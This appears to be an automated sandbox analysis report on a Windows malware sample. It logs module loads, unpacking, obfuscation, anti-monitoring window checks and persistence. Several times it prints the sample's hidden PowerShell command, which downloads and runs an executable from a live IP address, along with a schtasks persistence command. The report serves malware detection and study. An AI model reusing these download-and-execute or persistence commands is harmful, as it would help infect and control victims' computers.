Source: C:\Windows\System32\mshta.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: PUDNz69qBQ.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: PUDNz69qBQ.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: PUDNz69qBQ.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: PUDNz69qBQ.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: PUDNz69qBQ.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: PUDNz69qBQ.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: PUDNz69qBQ.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: e.pdb- source: powershell.exe, 00000009.00000002.2297512660.000001305D4AB000.00000004.00000020.00020000.00000000.sdmp
Source: PUDNz69qBQ.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: PUDNz69qBQ.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: PUDNz69qBQ.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: PUDNz69qBQ.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: PUDNz69qBQ.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Unpacked PE file: 11.2.TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.c00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Unpacked PE file: 12.2.TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.c00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 13.2.skotes.exe.c90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 14.2.skotes.exe.c90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 19.2.skotes.exe.c90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW;
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_006842DE
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: real checksum: 0x218f49 should be: 0x215024
Source: skotes.exe.11.dr Static PE information: real checksum: 0x218f49 should be: 0x215024
PE file contains sections with non-standard names
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name:
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name: .idata
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name:
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name: rtrxnzik
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name: vyhzfbjm
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name: .taggant
Source: skotes.exe.11.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name: .idata
Source: skotes.exe.11.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name: rtrxnzik
Source: skotes.exe.11.dr Static PE information: section name: vyhzfbjm
Source: skotes.exe.11.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A22C3 push 00000000h; iretd 0_2_006A22FC
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A0A76 push ecx; ret 0_2_006A0A89
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00CAD91C push ecx; ret 19_2_00CAD92F
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name: entropy: 7.105636274880829
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name: rtrxnzik entropy: 7.953483509677053
Source: skotes.exe.11.dr Static PE information: section name: entropy: 7.105636274880829
Source: skotes.exe.11.dr Static PE information: section name: rtrxnzik entropy: 7.953483509677053

Persistence and Installation Behavior
barindex
Tries to download and execute files (via powershell)
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Drops PE files
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn I4T8vmamOSJ /tr "mshta C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta" /sc minute /mo 25 /ru "user" /f
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE File created: C:\Windows\Tasks\skotes.job Jump to behavior
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
